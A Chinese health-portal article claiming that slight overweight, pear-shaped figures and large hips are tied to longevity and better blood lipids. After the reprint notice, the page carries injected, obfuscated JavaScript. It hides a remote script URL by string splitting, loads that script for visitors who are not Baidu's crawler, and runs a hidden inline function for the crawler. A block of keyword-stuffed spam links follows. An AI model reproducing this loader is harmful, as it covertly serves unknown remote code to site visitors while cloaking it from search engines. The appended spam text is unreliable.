當前位置:首頁 > 減肥 > 減肥方法 > 正文

微胖才是長壽的身材妹紙們你get了嗎

2017-03-12 13:59:55  來源:360常識網   熱度:
導語:這種身材招人喜歡還長壽除去審美標準,在健康上,微胖同樣有不少優勢:《新英格蘭醫學雜志》刊登的一項研究顯示,中、日、韓等東亞人的體質指數,即體重(公斤)除以身高(米)的平方后得出的數值,在22 6~

這種身材招人喜歡還長壽

除去審美標準,在健康上,微胖同樣有不少優勢:《新英格蘭醫學雜志》刊登的一項研究顯示,中、日、韓等東亞人的體質指數,即體重(公斤)除以身高(米)的平方后得出的數值,在22.6~27.4死亡風險最低,高于或低于這一范圍的人,死于癌癥、心血管病和其他疾病的風險都將增加。對照18.5~24的正常體質指數范圍,微胖的人更健康。

在中老年人身上,微胖的優勢似乎表現得更為明顯。日本研究顯示,與偏瘦的人相比,40歲時體重稍微超標的人能多活6~7年。在對449名平均年齡為76.5歲的人進行5年跟蹤調查后,美國研究者發現,微胖能在一定程度上幫助老人增加抵抗力,對抗疾病。此外,還有研究發現,微胖的女性懷孕成功的幾率更高,而偏瘦的女性體重每增加10公斤,懷上寶寶的可能性就會相應提升10%。

不過,雖然眾多研究人員為微胖正了名,但大家不能因此把體重管理不當回事,放棄管住嘴、邁開腿。雖然在整個人群中,微胖是較好的身材,但具體到每個個體,還要具體分析。我們不能只盯著胖還是瘦這一點,而是要關注平時飲食是否均衡、運動是否適量、生活是否規律。事實上,除了微胖外,還有一些體型也跟健康密切相關。

健碩的身材更健康。

常翠青說,胖瘦并非唯一標準,還要看他體內脂肪更新代謝水平和運動量。如果一個人脂肪更新速度快,肌肉含量高,看上去壯實、健碩,每天能保證一定的運動量,哪怕稍微有點胖,這種體型也是健康的。相反,如果一個人看上去很瘦,但脂肪代謝率低,又不運動,體內堆積的都是壞脂肪,也不健康。

屁股大,血脂好。

一個人臀圍大,表明其下身肌肉發達,對人的健康有益。《國際肥胖癥雜志》刊登牛津大學一項新研究發現,屁股大的人血脂更好。這是因為臀部脂肪屬于好脂肪,可以降低壞膽固醇水平,提高好膽固醇水平,有助于防止血管硬化,甚至可以降低糖尿病危險。女性臀部碩大意味著骨盆寬大,生育能力較強。

梨型身材可能長壽。

梨型身材是指下半身較寬、上半身相對窄小,脂肪主要聚集在臀部和大腿。美國明尼蘇達州梅奧診所的研究發現,這類人患心臟病、糖尿病等疾病的風險較低,更易長壽。

7:10的腰臀圍比最有吸引力。

研究表明,腰圍、臀圍比例是7:10的女性最吸引男人。美國得克薩斯大學研究進化心理學教授研究了50年來美國歷屆選美大賽的冠軍,發現不管體重如何變,但腰圍與臀圍7∶10的數字變化不大。而胸、臀部豐滿,肩部較寬,大腿稍粗,腰圍較細者更有魅力。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
7777久久久国产精品消防器材| 青青青在线观看国产精品| 国产尤物在线视精品在亚洲| 久久精品夜夜夜夜夜久久| 国产精品99久久久久久www| 97久久超碰国产精品旧版| 久久精品国产999大香线焦| 国产精品福利在线观看免费不卡 | 69国产精品视频免费| 精品国产午夜福利在线观看 | 国产精品不卡视频| 国产精品免费网站| 五月花精品视频在线观看| 久久久久久久久久免免费精品| 99亚洲乱人伦aⅴ精品| 久久精品国产2020| 久久精品九九热无码免贵| 中文字幕精品在线| 四虎成人精品在永久在线| 精品视频国产狼人视频| 精品国产v无码大片在线观看| 久久我们这里只有精品国产4| 久久91这里精品国产2020| 国产精品久久香蕉免费播放| 久久精品极品盛宴观看| 538精品在线视频| 亚洲国语精品自产拍在线观看 | 久久精品国产精品亚洲艾草网美妙| 精品久久久久久中文字幕一区| 无码人妻精品一区二区三区蜜桃| 日韩精品无码一区二区三区| 国产精品无码午夜福利| 久久精品国产福利国产琪琪| 日韩精品一区二三区中文| 国产精品久久久久一区二区| 国产乱码精品一区二区三区香蕉| 99热亚洲色精品国产88| 精品一区二区三区在线播放视频| 久久久久女人精品毛片| 久久亚洲精品无码AV红樱桃| 久久国产精品自由自在|